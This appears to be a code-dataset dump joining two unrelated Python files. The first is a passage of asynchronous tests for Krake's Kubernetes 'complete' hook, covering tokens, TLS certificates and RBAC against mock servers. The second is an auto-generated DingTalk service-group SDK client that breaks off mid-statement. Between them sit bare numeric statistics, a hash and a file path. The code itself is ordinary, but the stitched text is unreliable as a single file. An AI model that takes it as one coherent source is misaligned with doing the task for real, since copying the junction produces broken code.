namespace=app.metadata.namespace, name=app.metadata.name ) assert ( len(stored.status.last_observed_manifest) == 1 ) # one resource in the spec manifest for resource in stored.status.last_applied_manifest: if resource["kind"] != "Deployment": continue for container in resource["spec"]["template"]["spec"]["containers"]: assert "KRAKE_TOKEN" in [env["name"] for env in container["env"]] assert "KRAKE_COMPLETE_URL" in [env["name"] for env in container["env"]] for resource in stored.status.last_observed_manifest: if resource["kind"] != "Deployment": continue # Loop over observed containers, but exclude special control list for container in resource["spec"]["template"]["spec"]["containers"][:-1]: assert "KRAKE_TOKEN" in [env["name"] for env in container["env"][:-1]] assert "KRAKE_COMPLETE_URL" in [ env["name"] for env in container["env"][:-1] ] # Check special control dictionary assert len(container["env"]) == 3 assert container["env"][-1] == {"observer_schema_list_current_length": 2} assert stored.status.state == ApplicationState.RUNNING assert stored.metadata.finalizers[-1] == "kubernetes_resources_deletion" def get_hook_environment_value(application): """From an Application that has been mangled with the "complete" hook, get the value of the token and the URL that were added to it. Args: application (Application): the Application augmented with the elements of the "complete" hook. Returns: (str, str): a tuple of two elements: the token generated by the "complete" hook and the URL of the Krake API, as inserted by the hook. """ deployment = application.status.last_observed_manifest[0] token = None url = None for container in deployment["spec"]["template"]["spec"]["containers"][:-1]: for env in container["env"][:-1]: if env["name"] == "KRAKE_TOKEN": token = env["value"] if env["name"] == "KRAKE_COMPLETE_URL": url = env["value"] if token is None or url is None: raise ValueError("The token and the url must be in the environment") return token, url async def test_complete_hook_external_endpoint( aiohttp_server, config, db, loop, hooks_config ): """Verify that the Controller set the URL for the Krake endpoint based on the external endpoint set in the "complete" hook configuration. Conditions: * TLS: disabled * RBAC: disabled * extras: set the external endpoint in the "complete" hook configuration, with "https" as scheme, even though TLS is disabled. Expectations: The URL in the KRAKE_URL environment variable has the external endpoint set as host, and that the scheme was changed to "http". """ hooks_config.complete.external_endpoint = "https://new.external.endpoint" deploy_mangled_response = deepcopy(deployment_response) routes = web.RouteTableDef() # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): # No `nginx-demo` Deployment exist return web.Response(status=404) # As part of the reconciliation loop, the k8s controller creates the `nginx-demo` # Deployment @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): nonlocal deploy_mangled_response rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) # We only consider the first resource in the manifest file, that is a Deployment. # This Deployment should be modified by the "complete" hook with ENV vars. app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) api_server = await aiohttp_server(create_app(config)) async with Client(url=server_endpoint(api_server), loop=loop) as client: controller = KubernetesController( server_endpoint(api_server), worker_count=0, hooks=hooks_config ) await controller.prepare(client) await controller.resource_received(app) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) # TLS is disabled, so no additional resource has been generated assert len(stored.status.last_observed_manifest) == 1 _, url = get_hook_environment_value(stored) endpoint = URL(url) assert endpoint.host == "new.external.endpoint" assert endpoint.scheme == "http" async def test_complete_hook_sending(aiohttp_server, config, db, loop, hooks_config): """Send a hook using ONLY the information present in the environment of the Deployment, without TLS enabled. Conditions: * TLS: disabled * RBAC: disabled * extras: send a request to the "complete" hook endpoint. Expectations: The information present on the DEPLOYED Kubernetes resources are enough to use the "complete" hook endpoint, and the request sent to this endpoint led to the deletion of the Application on the API. """ deploy_mangled_response = deepcopy(deployment_response) routes = web.RouteTableDef() # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller creates the deployment. We # augment the standard API Response with the additional "env" dictionary that # contains the TOKEN and the URL @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): nonlocal deploy_mangled_response rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) api_server = await aiohttp_server(create_app(config)) async with Client(url=server_endpoint(api_server), loop=loop) as client: controller = KubernetesController( server_endpoint(api_server), worker_count=0, hooks=hooks_config ) await controller.prepare(client) await controller.resource_received(app) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) token, url = get_hook_environment_value(stored) async with Client(url=server_endpoint(api_server), loop=loop) as client: complete = ApplicationComplete(token=token) resp = await client.session.put(url, json=complete.serialize()) assert resp.status == 200 stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert stored.metadata.deleted is not None async def test_complete_hook_sending_tls( aiohttp_server, config, pki, db, loop, client_ssl_context, hooks_config ): """Send a hook using ONLY the information present in the environment of the Deployment, with TLS enabled. Conditions: * TLS: enabled * RBAC: disabled * extras: send a request to the "complete" hook endpoint. Expectations: The information present on the DEPLOYED Kubernetes resources are enough to use the "complete" hook endpoint, and the request sent to this endpoint led to the deletion of the Application on the API. """ routes = web.RouteTableDef() deploy_mangled_response = deepcopy(deployment_response) configmap_resource = {} server_cert = pki.gencert("api-server") config.tls = TlsServerConfiguration( enabled=True, client_ca=pki.ca.cert, cert=server_cert.cert, key=server_cert.key ) ssl_context = client_ssl_context("client") # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a ConfigMap named `ca.pem` already exists. @routes.get("/api/v1/namespaces/secondary/configmaps/ca.pem") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller created the `ca.pem` # ConfigMap @routes.post("/api/v1/namespaces/secondary/configmaps") async def _(request): nonlocal configmap_resource rd = await request.read() configmap_resource = json.loads(rd) resp = yaml.safe_load( """ apiVersion: v1 data: CONFIGMAP_DATA kind: ConfigMap metadata: annotations: {} creationTimestamp: "2020-07-21T13:57:03Z" managedFields: [] name: CONFIGMAP_NAME namespace: secondary resourceVersion: "5073306" selfLink: /api/v1/namespaces/default/configmaps/name uid: e851306b-4581-48f3-808d-1d18c9038309 """ ) resp["metadata"]["name"] = configmap_resource["metadata"]["name"] resp["data"] = configmap_resource["data"] return web.json_response(resp) # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller created the `nginx-demo` # Deployment @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): nonlocal deploy_mangled_response rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] resp_first_container["volumeMounts"] = app_first_container["volumeMounts"] deploy_mangled_response["spec"]["template"]["spec"]["volumes"] = app["spec"][ "template" ]["spec"]["volumes"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) server_app = create_app(config) api_server = Server(server_app) await api_server.start_server(ssl=server_app["ssl_context"]) assert api_server.scheme == "https" async with Client( url=server_endpoint(api_server), loop=loop, ssl_context=ssl_context ) as client: controller = KubernetesController( server_endpoint(api_server), worker_count=0, ssl_context=ssl_context, hooks=hooks_config, ) await controller.prepare(client) await controller.resource_received(app, start_observer=False) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert stored.metadata.deleted is None token, url = get_hook_environment_value(stored) # Attempt to send a request to the hook endpoint without a certificate. Should fail. async with Client(url=server_endpoint(api_server), loop=loop) as client: complete = ApplicationComplete(token=token) # `ClientSSLError` encompasses both `ClientConnectorCertificateError` and # `ClientConnectorSSLError`. With Python 3.6, a `ClientConnectorSSLError` is # raised, while with 3.7 an update of the ssl module makes aiohttp raise a # `ClientConnectorCertificateError`. with pytest.raises(aiohttp.ClientSSLError): await client.session.put(url, json=complete.serialize()) # Attempt to send a request to the hook endpoint with the certificate taken from the # deployed Application. Should succeed. configmap = stored.status.last_observed_manifest[1] # Load the certificates into an SSL context. with tempfile.TemporaryDirectory() as tmpdirname: cert_paths = {} # Write the CA, the certificate and the key to files. for file_name, content in configmap["data"].items(): cert_path = os.path.join(tmpdirname, file_name) cert_paths[file_name] = cert_path with open(cert_path, "w") as f: f.write(content) hook_ssl_context = ssl.create_default_context( cafile=cert_paths["ca-bundle.pem"] ) hook_ssl_context.load_cert_chain( certfile=cert_paths["cert.pem"], keyfile=cert_paths["key.pem"] ) async with Client( url=server_endpoint(api_server), loop=loop, ssl_context=hook_ssl_context ) as client: complete = ApplicationComplete(token=token) resp = await client.session.put(url, json=complete.serialize()) assert resp.status == 200 stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert stored.metadata.deleted is not None async def test_complete_hook_sending_tls_rbac( aiohttp_server, config, pki, db, loop, rbac_allow, client_ssl_context, hooks_config ): """Send a hook using ONLY the information present in the environment of the Deployment, with TLS enabled and RBAC set on the API. Conditions: * TLS: enabled * RBAC: enabled * extras: send a request to the "complete" hook endpoint. Expectations: The information present on the DEPLOYED Kubernetes resources are enough to use the "complete" hook endpoint, and the request sent to this endpoint led to the deletion of the Application on the API. """ config.authorization = "RBAC" config.authentication.strategy.static.enabled = False deploy_mangled_response = deepcopy(deployment_response) configmap_resource = {} routes = web.RouteTableDef() server_cert = pki.gencert("api-server") config.tls = TlsServerConfiguration( enabled=True, client_ca=pki.ca.cert, cert=server_cert.cert, key=server_cert.key ) client_user = "client" controller_ssl_context = client_ssl_context(client_user) invalid_ssl_context = client_ssl_context("invalid_user") # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a ConfigMap named `ca.pem` already exists. @routes.get("/api/v1/namespaces/secondary/configmaps/ca.pem") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller created the `ca.pem` # ConfigMap @routes.post("/api/v1/namespaces/secondary/configmaps") async def _(request): nonlocal configmap_resource rd = await request.read() configmap_resource = json.loads(rd) resp = yaml.safe_load( """ apiVersion: v1 data: CONFIGMAP_DATA kind: ConfigMap metadata: annotations: {} creationTimestamp: "2020-07-21T13:57:03Z" managedFields: [] name: CONFIGMAP_NAME namespace: secondary resourceVersion: "5073306" selfLink: /api/v1/namespaces/default/configmaps/name uid: e851306b-4581-48f3-808d-1d18c9038309 """ ) resp["metadata"]["name"] = configmap_resource["metadata"]["name"] resp["data"] = configmap_resource["data"] return web.json_response(resp) # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller created the `nginx-demo` # Deployment @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): nonlocal deploy_mangled_response rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] resp_first_container["volumeMounts"] = app_first_container["volumeMounts"] deploy_mangled_response["spec"]["template"]["spec"]["volumes"] = app["spec"][ "template" ]["spec"]["volumes"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) server_app = create_app(config) api_server = Server(server_app) await api_server.start_server(ssl=server_app["ssl_context"]) assert api_server.scheme == "https" async with Client( url=server_endpoint(api_server), loop=loop, ssl_context=controller_ssl_context ) as client: controller = KubernetesController( server_endpoint(api_server), worker_count=0, ssl_context=controller_ssl_context, hooks=hooks_config, ) await controller.prepare(client) # As RBAC is set, the user defined in the Controller's certificate has to be # allowed to perform specific actions. async with rbac_allow( "kubernetes", "applications", "update", override_user=client_user ): async with rbac_allow( "kubernetes", "applications/status", "update", override_user=client_user ): async with rbac_allow( "kubernetes", "clusters", "get", override_user=client_user ): await controller.resource_received(app, start_observer=False) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert stored.metadata.deleted is None token, url = get_hook_environment_value(stored) # Attempt to send a request to the hook endpoint with a valid certificate but a # non-allowed user. Should fail because of RBAC -> return a "403 Forbidden". async with Client( url=server_endpoint(api_server), loop=loop, ssl_context=invalid_ssl_context ) as client: complete = ApplicationComplete(token=token) with pytest.raises(ClientResponseError, match="403"): await client.session.put(url, json=complete.serialize()) # Attempt to send a request to the hook endpoint with a valid certificate, taken # from the Application itself. Should succeed. configmap = stored.status.last_observed_manifest[1] # Load the certificates into an SSL context. with tempfile.TemporaryDirectory() as tmpdirname: cert_paths = {} # Write the CA, the certificate and the key to files. for file_name, content in configmap["data"].items(): cert_path = os.path.join(tmpdirname, file_name) cert_paths[file_name] = cert_path with open(cert_path, "w") as f: f.write(content) hook_ssl_context = ssl.create_default_context( cafile=cert_paths["ca-bundle.pem"] ) hook_ssl_context.load_cert_chain( certfile=cert_paths["cert.pem"], keyfile=cert_paths["key.pem"] ) async with Client( url=server_endpoint(api_server), loop=loop, ssl_context=hook_ssl_context ) as client: complete = ApplicationComplete(token=token) # Allow the user defined in hooks-token. async with rbac_allow( "kubernetes", "applications/complete", "update", override_user="test-complete-hook-user", ): resp = await client.session.put(url, json=complete.serialize()) assert resp.status == 200 stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert stored.metadata.deleted is not None async def test_complete_hook_reschedule( aiohttp_server, config, pki, db, loop, hooks_config ): """Attempt to reschedule an Application augmented with the "complete" hook. Enable TLS to use the "full-featured" hook (with the ConfigMap containing a certificate). Conditions: * TLS: enabled * RBAC: disabled * extras: give the Application a second time to the Kubernetes controller, to trigger it to handle the Application as if it was rescheduled. Have TLS enabled to generate a ConfigMap on the Application. Expectations: The rescheduling should occur without any interference of the resources generated by the "complete" hook and without any change applied to these resources. """ routes = web.RouteTableDef() deploy_mangled_response = deepcopy(deployment_response) configmap_resource = {} server_cert = pki.gencert("api-server") config.tls = TlsServerConfiguration( enabled=True, client_ca=pki.ca.cert, cert=server_cert.cert, key=server_cert.key ) client_cert = pki.gencert("client") client_tls = TlsClientConfiguration( enabled=True, client_ca=pki.ca.cert, client_cert=client_cert.cert, client_key=client_cert.key, ) ssl_context = create_ssl_context(client_tls) @routes.get("/api/v1/namespaces/secondary/configmaps/ca.pem") async def _(request): return web.Response(status=404) @routes.post("/api/v1/namespaces/secondary/configmaps") async def _(request): nonlocal configmap_resource rd = await request.read() configmap_resource = json.loads(rd) resp = yaml.safe_load( """ apiVersion: v1 data: CONFIGMAP_DATA kind: ConfigMap metadata: annotations: {} creationTimestamp: "2020-07-21T13:57:03Z" managedFields: [] name: CONFIGMAP_NAME namespace: secondary resourceVersion: "5073306" selfLink: /api/v1/namespaces/default/configmaps/name uid: e851306b-4581-48f3-808d-1d18c9038309 """ ) resp["metadata"]["name"] = configmap_resource["metadata"]["name"] resp["data"] = configmap_resource["data"] return web.json_response(resp) @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): return web.Response(status=404) @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): nonlocal deploy_mangled_response rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] resp_first_container["volumeMounts"] = app_first_container["volumeMounts"] deploy_mangled_response["spec"]["template"]["spec"]["volumes"] = app["spec"][ "template" ]["spec"]["volumes"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) # We only consider the first resource in the manifest file, that is a Deployment. # This Deployment should be modified by the "complete" hook with ENV vars. app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) server_app = create_app(config) api_server = Server(server_app) await api_server.start_server(ssl=server_app["ssl_context"]) assert api_server.scheme == "https" async with Client( url=server_endpoint(api_server), loop=loop, ssl_context=ssl_context ) as client: controller = KubernetesController( server_endpoint(api_server), worker_count=0, ssl_context=ssl_context, hooks=hooks_config, ) await controller.prepare(client) # Observer started here in order to be stopped afterwards, # otherwise get an exception from the Controller trying to stop a non-existing # Observer. await controller.resource_received(app, start_observer=True) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert stored.status.state == ApplicationState.RUNNING assert stored.status.last_observed_manifest is not None # Do a rescheduling --> start the reconciliation loop await controller.resource_received(stored, start_observer=False) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert stored.status.state == ApplicationState.RUNNING assert stored.status.last_observed_manifest is not None
38.02313
88
0.683267
5,828
49,316
5.601579
0.066747
0.024444
0.023158
0.016204
0.854837
0.837775
0.810543
0.792532
0.786712
0.779391
0
0.009774
0.228202
49,316
1,296
89
38.052469
0.847932
0.155386
0
0.750656
0
0
0.107904
0.048809
0
0
0
0
0.090551
1
0.001312
false
0
0.027559
0
0.064304
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a794334a8a05dbb0266ea13debf84c9ba6101ea1
113,964
py
Python
dingtalk/python/alibabacloud_dingtalk/service_group_1_0/client.py
yndu13/dingtalk-sdk
700fb7bb49c4d3167f84afc5fcb5e7aa5a09735f
[ "Apache-2.0" ]
null
null
null
dingtalk/python/alibabacloud_dingtalk/service_group_1_0/client.py
yndu13/dingtalk-sdk
700fb7bb49c4d3167f84afc5fcb5e7aa5a09735f
[ "Apache-2.0" ]
null
null
null
dingtalk/python/alibabacloud_dingtalk/service_group_1_0/client.py
yndu13/dingtalk-sdk
700fb7bb49c4d3167f84afc5fcb5e7aa5a09735f
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # This file is auto-generated, don't edit it. Thanks. from Tea.core import TeaCore from alibabacloud_tea_openapi.client import Client as OpenApiClient from alibabacloud_tea_openapi import models as open_api_models from alibabacloud_tea_util.client import Client as UtilClient from alibabacloud_dingtalk.service_group_1_0 import models as dingtalkservice_group__1__0_models from alibabacloud_tea_util import models as util_models from alibabacloud_openapi_util.client import Client as OpenApiUtilClient class Client(OpenApiClient): """ *\ """ def __init__( self, config: open_api_models.Config, ): super().__init__(config) self._endpoint_rule = '' if UtilClient.empty(self._endpoint): self._endpoint = 'api.dingtalk.com' def delete_knowledge( self, request: dingtalkservice_group__1__0_models.DeleteKnowledgeRequest, ) -> dingtalkservice_group__1__0_models.DeleteKnowledgeResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.DeleteKnowledgeHeaders() return self.delete_knowledge_with_options(request, headers, runtime) async def delete_knowledge_async( self, request: dingtalkservice_group__1__0_models.DeleteKnowledgeRequest, ) -> dingtalkservice_group__1__0_models.DeleteKnowledgeResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.DeleteKnowledgeHeaders() return await self.delete_knowledge_with_options_async(request, headers, runtime) def delete_knowledge_with_options( self, request: dingtalkservice_group__1__0_models.DeleteKnowledgeRequest, headers: dingtalkservice_group__1__0_models.DeleteKnowledgeHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.DeleteKnowledgeResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.library_key): body['libraryKey'] = request.library_key if not UtilClient.is_unset(request.source): body['source'] = request.source if not UtilClient.is_unset(request.source_primary_key): body['sourcePrimaryKey'] = request.source_primary_key real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.DeleteKnowledgeResponse(), self.do_roarequest('DeleteKnowledge', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/knowledges/batchDelete', 'json', req, runtime) ) async def delete_knowledge_with_options_async( self, request: dingtalkservice_group__1__0_models.DeleteKnowledgeRequest, headers: dingtalkservice_group__1__0_models.DeleteKnowledgeHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.DeleteKnowledgeResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.library_key): body['libraryKey'] = request.library_key if not UtilClient.is_unset(request.source): body['source'] = request.source if not UtilClient.is_unset(request.source_primary_key): body['sourcePrimaryKey'] = request.source_primary_key real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.DeleteKnowledgeResponse(), await self.do_roarequest_async('DeleteKnowledge', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/knowledges/batchDelete', 'json', req, runtime) ) def create_ticket( self, request: dingtalkservice_group__1__0_models.CreateTicketRequest, ) -> dingtalkservice_group__1__0_models.CreateTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.CreateTicketHeaders() return self.create_ticket_with_options(request, headers, runtime) async def create_ticket_async( self, request: dingtalkservice_group__1__0_models.CreateTicketRequest, ) -> dingtalkservice_group__1__0_models.CreateTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.CreateTicketHeaders() return await self.create_ticket_with_options_async(request, headers, runtime) def create_ticket_with_options( self, request: dingtalkservice_group__1__0_models.CreateTicketRequest, headers: dingtalkservice_group__1__0_models.CreateTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.CreateTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.creator_union_id): body['creatorUnionId'] = request.creator_union_id if not UtilClient.is_unset(request.processor_union_ids): body['processorUnionIds'] = request.processor_union_ids if not UtilClient.is_unset(request.scene): body['scene'] = request.scene if not UtilClient.is_unset(request.scene_context): body['sceneContext'] = request.scene_context if not UtilClient.is_unset(request.open_template_biz_id): body['openTemplateBizId'] = request.open_template_biz_id if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.custom_fields): body['customFields'] = request.custom_fields if not UtilClient.is_unset(request.notify): body['notify'] = request.notify real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.CreateTicketResponse(), self.do_roarequest('CreateTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets', 'json', req, runtime) ) async def create_ticket_with_options_async( self, request: dingtalkservice_group__1__0_models.CreateTicketRequest, headers: dingtalkservice_group__1__0_models.CreateTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.CreateTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id if not UtilClient.is_unset(request.creator_union_id): body['creatorUnionId'] = request.creator_union_id if not UtilClient.is_unset(request.processor_union_ids): body['processorUnionIds'] = request.processor_union_ids if not UtilClient.is_unset(request.scene): body['scene'] = request.scene if not UtilClient.is_unset(request.scene_context): body['sceneContext'] = request.scene_context if not UtilClient.is_unset(request.open_template_biz_id): body['openTemplateBizId'] = request.open_template_biz_id if not UtilClient.is_unset(request.title): body['title'] = request.title if not UtilClient.is_unset(request.custom_fields): body['customFields'] = request.custom_fields if not UtilClient.is_unset(request.notify): body['notify'] = request.notify real_headers = {} if not UtilClient.is_unset(headers.common_headers): real_headers = headers.common_headers if not UtilClient.is_unset(headers.x_acs_dingtalk_access_token): real_headers['x-acs-dingtalk-access-token'] = headers.x_acs_dingtalk_access_token req = open_api_models.OpenApiRequest( headers=real_headers, body=OpenApiUtilClient.parse_to_map(body) ) return TeaCore.from_map( dingtalkservice_group__1__0_models.CreateTicketResponse(), await self.do_roarequest_async('CreateTicket', 'serviceGroup_1.0', 'HTTP', 'POST', 'AK', f'/v1.0/serviceGroup/tickets', 'json', req, runtime) ) def assign_ticket( self, request: dingtalkservice_group__1__0_models.AssignTicketRequest, ) -> dingtalkservice_group__1__0_models.AssignTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AssignTicketHeaders() return self.assign_ticket_with_options(request, headers, runtime) async def assign_ticket_async( self, request: dingtalkservice_group__1__0_models.AssignTicketRequest, ) -> dingtalkservice_group__1__0_models.AssignTicketResponse: runtime = util_models.RuntimeOptions() headers = dingtalkservice_group__1__0_models.AssignTicketHeaders() return await self.assign_ticket_with_options_async(request, headers, runtime) def assign_ticket_with_options( self, request: dingtalkservice_group__1__0_models.AssignTicketRequest, headers: dingtalkservice_group__1__0_models.AssignTicketHeaders, runtime: util_models.RuntimeOptions, ) -> dingtalkservice_group__1__0_models.AssignTicketResponse: UtilClient.validate_model(request) body = {} if not UtilClient.is_unset(request.ding_isv_org_id): body['dingIsvOrgId'] = request.ding_isv_org_id if not UtilClient.is_unset(request.ding_org_id): body['dingOrgId'] = request.ding_org_id if not UtilClient.is_unset(request.ding_suite_key): body['dingSuiteKey'] = request.ding_suite_key if not UtilClient.is_unset(request.ding_token_grant_type): body['dingTokenGrantType'] = request.ding_token_grant_type if not UtilClient.is_unset(request.operator_union_id): body['operatorUnionId'] = request.operator_union_id if not UtilClient.is_unset(request.open_ticket_id): body['openTicketId'] = request.open_ticket_id if not UtilClient.is_unset(request.processor_union_ids): body['processorUnionIds'] = request.processor_union_ids if not UtilClient.is_unset(request.ticket_memo): body['ticketMemo'] = request.ticket_memo if not UtilClient.is_unset(request.notify): body['notify'] = request.notify if not UtilClient.is_unset(request.open_team_id): body['openTeamId'] = request.open_team_id real_headers 